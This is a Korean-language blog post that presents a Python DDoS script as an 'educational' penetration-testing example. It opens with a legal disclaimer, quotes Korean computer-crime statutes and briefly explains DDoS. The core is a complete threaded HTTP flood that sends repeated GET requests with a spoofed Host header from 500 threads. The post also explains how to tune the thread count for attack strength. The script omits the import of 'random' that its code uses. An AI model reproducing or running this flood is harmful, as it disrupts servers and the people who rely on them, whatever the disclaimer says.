파이썬을 사용하여 침투 테스트 스크립트, 즉 DDOS 스크립트를 작성하는 방법을 다뤄보고자 합니다.
자신이 소유하지 않거나 공격할 권한이 없는 서버에 대해 DDOS 공격을 하는 것은 불법입니다.
타인의 서버를 공격하는 것은 금지되며, 이 스크립트를 사용하여 행하는 모든 일에 대해 저는 책임지지 않습니다.
이 글은 순수하게 교육적 목적으로 작성되었으며,
네트워크 지식 및 공격 방식 파이썬 프로그래밍을 이해하는 데 도움을 주기위한 게시글 입니다.
정보통신망 이용촉진 및 정보보호 등에 관한 법률
- 제48조의3(침해사고의 신고 등) ① 정보통신서비스 제공자는 침해사고가 발생하면 즉시 그 사실을 과학기술정보통신부장관이나 한국인터넷진흥원에 신고하여야 한다. 이 경우 정보통신서비스 제공자가 이미 다른 법률에 따른 침해사고 통지 또는 신고를 했으면 전단에 따른 신고를 한 것으로 본다
- 제 71조 (벌칙) 5년 이하의 징역 또는 5천만원 이하의 벌금에 처한다.
형법
- 제314조(업무방해) ① 제313조의 방법 또는 위력으로써 사람의 업무를 방해한 자는 5년 이하의 징역 또는 1천500만원 이하의 벌금에 처한다. <개정 1995. 12. 29.>
② 컴퓨터등 정보처리장치 또는 전자기록등 특수매체기록을 손괴하거나 정보처리장치에 허위의 정보 또는 부정한 명령을 입력하거나 기타 방법으로 정보처리에 장애를 발생하게 하여 사람의 업무를 방해한 자도 제1항의 형과 같다. <신설 1995. 12. 29.>형법과 정보통신망 이용촉진 및 정보보호 등에 관한 법률은 별개로 법에 대해 처벌 받습니다.
DDOS란 무엇인가요?
분산 서비스 거부(DDoS)는 여러 대의 컴퓨터가 공격 플랫폼으로서 연합하여 원격 연결을 통해 악성 프로그램을 사용하여 하나 이상의 대상에 대해 DDoS 공격을 발동하여 대상 서버의 성능 또는 네트워크 대역폭을 소모시켜 서버가 정상적으로 서비스를 제공할 수 없게 만드는 것입니다. 보통 공격자는 불법 계정을 사용하여 한 대의 컴퓨터에 DDoS 마스터 프로그램을 설치하고, 네트워크 상의 여러 대의 컴퓨터에 대리 프로그램을 설치합니다.
설정된 시간 내에 마스터 프로그램이 많은 대리 프로그램과 통신하여 대리 프로그램이 명령을 받으면 대상에 공격을 가하며, 마스터 프로그램은 몇 초 안에 수백에서 수천 번의 대리 프로그램을 활성화시킬 수 있습니다.
서버들은 수천 개의 DDoS 스크립트를 실행할 수 있으며, 단 하나의 DDOS 스크립트가 아닙니다. 서버는 결국 대량의 요청으로 인해 마비될 것이며, 이로 인해 정상적인 사용자의 요청에 응답할 수 없게 됩니다.
import socket
import threading
다음 라이브러리가 필요합니다.
- socket 모듈은 네트워크 연결을 설정하고 데이터를 송수신하는 데 사용됩니다.
- threading 모듈은 동시에 여러 작업을 처리하기 위해 스레드를 생성하고 관리하는 데 사용됩니다.
target = '192.168.0.4'
fake_ips = ['182.21.20.32', '182.21.20.33', '182.21.20.34']
port = 8080
attack_num = 0
lock = threading.Lock()
- target은 공격 대상의 IP 주소입니다.
- fake_ip는 공격 시 사용할 가짜 IP 주소입니다.
- port는 공격 대상의 포트 번호입니다.
- attack_num은 성공적으로 요청을 보낸 횟수를 추적합니다.
- lock은 스레드 간의 동기화를 위해 사용되는 락 객체입니다.
def attack():
global attack_num
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fake_ip = random.choice(fake_ips)
try:
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
with lock:
attack_num += 1
print(attack_num)
except Exception as e:
print(f"오류 발생: {e}")
finally:
s.close()
threads = []
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
- HTTP GET 요청을 공격 대상에 보냅니다. 여기서 가짜 IP 주소가 Host 헤더로 사용
- 마지막 부분에서는 500개의 스레드를 생성하여 attack 함수를 동시에 실행
- 스레드 숫자를 조절하여 30이나 50으로 공격 파워를 조절
첨부 파일
실제 공격 트래픽 캡쳐
해당 프로그램을 통해 대량의 요청을 서버에 보내어 일정 시간이 지나면 서버가 반응할 수 없게 시킬 수 있습니다.
'Security' 카테고리의 다른 글
SMS 스미싱 APK 분석 보고서 - IOS Web (3) (0) | 2024.04.25 |
---|---|
SMS 스미싱 APK 분석 보고서 - Android (2) (1) | 2024.04.24 |
SMS 스미싱 APK 분석 보고서 - 개요 (0) | 2024.04.24 |